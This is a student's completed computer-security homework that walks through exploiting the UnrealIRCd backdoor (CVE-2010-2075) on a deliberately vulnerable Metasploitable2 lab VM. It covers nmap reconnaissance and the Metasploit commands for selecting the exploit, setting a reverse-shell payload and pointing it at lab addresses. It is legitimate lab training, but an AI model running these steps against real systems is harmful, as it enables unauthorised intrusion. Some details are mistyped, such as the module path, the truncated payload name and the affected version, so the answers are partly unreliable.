**CMSC 426 Computer Security HW 3**

Name: Gokul Natarajan

Assigned: 4/6/2022

Due: 4/15/2021 at 11:59pm

Total points: 100

**Homework Goals**

In this homework, you will install a Kali Linux VM with Metasploit, as well as an additional VM that runs a large number of vulnerable services. You will use Metasploit to exploit one of these services and get a shell.

**Setup and Configuration**

First, you will need to download Kali Linux. You can get the .ova file for Kali Linux at the link below:

* <https://kali.download/virtual-images/kali-2022.1/kali-linux-2022.1-virtualbox-amd64.ova>

Import the VM into VirtualBox by using the menu option File -> Import Appliance and selecting the downloaded Kali Linux .ova file.

You will also need to download a second VM named Metasploitable2. This is a VM that intentionally runs services with known vulnerabilities in them. You can download the Metasploitable2 VM at the link below:

* <https://sourceforge.net/projects/metasploitable/files/Metasploitable2/>

Metasploitable2 is not distributed as an .ova file, so you will have to follow different steps for importing it. First, unzip metasploitable-linux-2.0.0.zip. The .zip file contains Metasploitable.vmdk, which is a virtual hard disk file.

In Virtualbox, select New. Give the VM you are creating a name of your choice, change “Type” to Linux, and change “Version” to Ubuntu (64 bit). The recommended memory size is 1024 MB. Finally, under “Hard disk”, click “Use an existing virtual hard disk”, and then “Add”. Navigate to the Metasploitable.vmdk file you unzipped and select it. Finally, hit “Create”.

Graphical user interface, text, application, email

Description automatically generated

Before starting up either VM, you will need to configure their networking settings in VirtualBox so that they can communicate with each other. First, select File -> Host Network Manager and edit the host-only adapter that you created in Lab 1. Make sure that DHCP is enabled and edit the IPv4 address to be 192.168.56.1 (if it is not so already). Once this has been done, the IPv4 Address/Mask field should display as 192.168.56.1/24.

Table

Description automatically generated

Next, go to the network settings for your Kali VM (Settings -> Network). Make sure that Adapter 1 is enabled, that it is attached to Host-only Adapter, and that its name matches the name of the host network interface that you just created (e.g. VirtualBox Host-Only Ethernet Adapter)

Repeat this for your Metasploitable VM, so that is also connected to the same host network interface.   
  
Once you have done this, start both VMs. The default username on your Kali VM is kali and the password is kali. The default username on your Metasploitable2 VM is msfadmin and the password is msfadmin.

**Reconnaissance of the Metasploitable VM (35 pts)**

Open a terminal on the Kali VM and on the Metasploitable VM. Use a command to look up the IP address of the eth0 interface on each VM. Then, answer the question below.

1. Use the ping command to show a successful network connection from the Kali VM to the Metasploitable VM. Provide a screenshot of this below. (5 pts)  
Text

Description automatically generated  
  
On the Kali VM, use the msfconsole command to start the Metasploit framework console. Then, run the nmap command from the Metasploit console to perform a port scan of the Metasploitable VM. You will need to provide a flag(s) to the nmap command which can detect the services that are listening on each port as well as their versions.

2. What is the full nmap command that you ran? (5 pts)

nmap -sV -T5 192.168.56.104  
  
3. Provide a screenshot below of your nmap scan, showing at least 5 different services (and their versions) that are listening on the Metasploitable VM. (5 pts)  
Text

Description automatically generated

One of the vulnerabilities in the Metasploitable VM is CVE-2010-2075. Research this vulnerability and then answer the following questions.  
  
  
4. What service, and which version of this service, is affected by CVE-2010-2075? Provide a brief description of what the service is normally used for. (5 pts)

UnrealIRCd version 1 and it is an IRC server with many configurable configs.

5. Provide a 1-2 sentence description of what caused the vulnerability in this service. (5 pts)

UnrealIRCd contained a backdoor trojan that was available in the download archive. The vulnerability allowed an attacker to execute code by sending the string "AB," which triggered the backdoor, followed by the payload. The command would run as whatever user the IRC daemon was running as, so root-level access could be accessed.  
  
  
6. If an attacker was able to successfully exploit CVE-2010-2075, what types of action(s) would they be able to perform on an affected system? (5 pts)

They would be able to execute code to open a shell.  
  
  
7. What port does the vulnerable service listen on in the Metasploitable VM? (5 pts)

6667

**Exploiting the Metasploitable VM (65 pts)**

In this section, you will be asked to provide the commands you ran in the Metasploit console when performing an exploit. Make sure to always provide the full command – do NOT use Metasploit’s number shortcut syntax!   
  
  
First, Use the Metasploit console to search for and then select an exploit for the vulnerable service.   
  
  
1. What command did you run to search for an exploit for the vulnerable service? (5 pts)

search UnrealIRCd  
  
2. What command did you run to select the exploit you found for the vulnerable service? (5 pts)  
use exploit/unix/irx/unreal\_ircd\_3281\_backdoor

Next, you will need to configure the target, payload, and other options of the exploit in the Metasploit console. Run a command which lists all possible targets of the exploit you selected.  
  
  
3. What command did you run to list all possible targets of your chosen exploit? (5 pts)

Show targets  
  
You can leave the target as its default value (automatic). Next, run a command that lists all valid payloads supported by the exploit. Choose the payload that will execute a reverse shell (specifically the Unix system shell) if the exploit is successful. Then, answer the following questions.  
  
4. What command did you run to list the payloads supported by your chosen exploit? (5 pts)

Show payloads  
  
5. What command did you run to select the payload? (5 pts)

Set payload cmd/unix/reverse  
  
6. In a few sentences, describe the difference between a bind shell and a reverse shell. (10 pts)

Bind shells have the listener running on the target and the attacker connects to the listener so it can gain remote access to the target system whereas the in the reverse shell the attacker has the listener running on their machine and the target connect to the attacker with a shell. Another difference is in the Bind shell, the listener is ON on the target machine and the attacker connects to it but in the Reverse shell its opposite. The listener is ON on the Attacker machine and the target machine connects to it.

Finally, you will need to configure the remaining options that are required by the exploit. Run a command which lists all of the options that have been configured. It should show that the RHOSTS and the LPORT options do not have values. Run commands to set the RHOSTS and LHOST options to the values required for the exploit to work successfully.  
  
  
7. What command did you run to show the exploit’s options? (5 pts)

show options  
  
8. What command did you run to set the value of RHOSTS? (5 pts)

set RHOSTS 192.168.56.104

9. What command did you run to set the value of LHOST? (5 pts)

set LHOST 192.168.56.103

Once you have configured these options, you are ready to launch the exploit. Run the exploit using the exploit command. Once the exploit has completed (it may take a minute or so to finish), run the whoami command.

10. Provide a screenshot showing a successful exploit of the service vulnerable to CVE-2010-2075 on the Metasploitable VM. The screenshot should also show the output of the whoami command. (15 pts)  
  
  
Text

Description automatically generated